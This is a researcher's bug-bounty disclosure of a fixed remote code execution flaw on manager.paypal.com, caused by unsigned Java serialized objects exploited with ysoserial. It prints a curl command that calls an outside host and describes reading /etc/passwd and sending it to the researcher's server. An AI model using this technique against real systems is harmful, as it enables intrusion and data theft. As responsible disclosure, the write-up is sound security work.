In December 2015, I found a critical vulnerability in one of PayPal business websites (manager.paypal.com). It allowed me to execute arbitrary shell commands on PayPal web servers via unsafe JAVA object deserialization and to access production databases. I immediately reported this bug to PayPal security team and it was fixed promptly.
While testing manager.paypal.com application, I noticed an unusual post form parameter “oldFormData” that looks like a complex object after base64 decoding:
Details
The following research showed that it is a Java serialized
object without any signature. It means you can send a serialized object of any existing class to the server, and the “readObject”
(or “readResolve”) method of that class will be called. For exploitation,
you need to find a suitable class in the application “classpath” which can be serialized
and has something interesting (from exploitation point of view) in the “readObject” method.
You can read about this technique in the recent article by FoxGlove Security. A year ago, Chris Frohoff (@frohoff) and Gabriel Lawrence
(@gebl) did a great job and found suitable classes in Commons Collections library that could lead to remote code execution. They also
published the “ysoserial” payload generation tool on their github page.
Exploit
I downloaded this tool and generated a simple payload that sends DNS and HTTP requests to my own server by executing the “curl x.s.artsploit.com/paypal” shell command.
Then I sent the base64 encoded payload in the “oldFormData” parameter to the application server and was impressed by an incoming request from the PayPal network that appeared in my NGINX access log:
I realized that I could execute arbitrary OS commands on the web servers of manager.paypal.com, establish a back connection
to my own Internet server and, for example, upload and execute a backdoor. As a result, I could get access to production databases used by the manager.paypal.com application.
Instead, I just read “/etc/passwd” file by sending it
to my server as a proof of the vulnerability:
I also recorded a video how to reproduce this vulnerability
and reported it to the PayPal security team.
Later, I found out that many other endpoints of the manager.paypal.com
application also use serialized objects and can be exploited as well.
In a month, my report received a Duplicate status because another researcher, Mark Litchfield, reported a similar vulnerability two days earlier than I did (on December 11, 2015). PayPal decided to pay me a good bounty anyway, and I have nothing but respect
for them.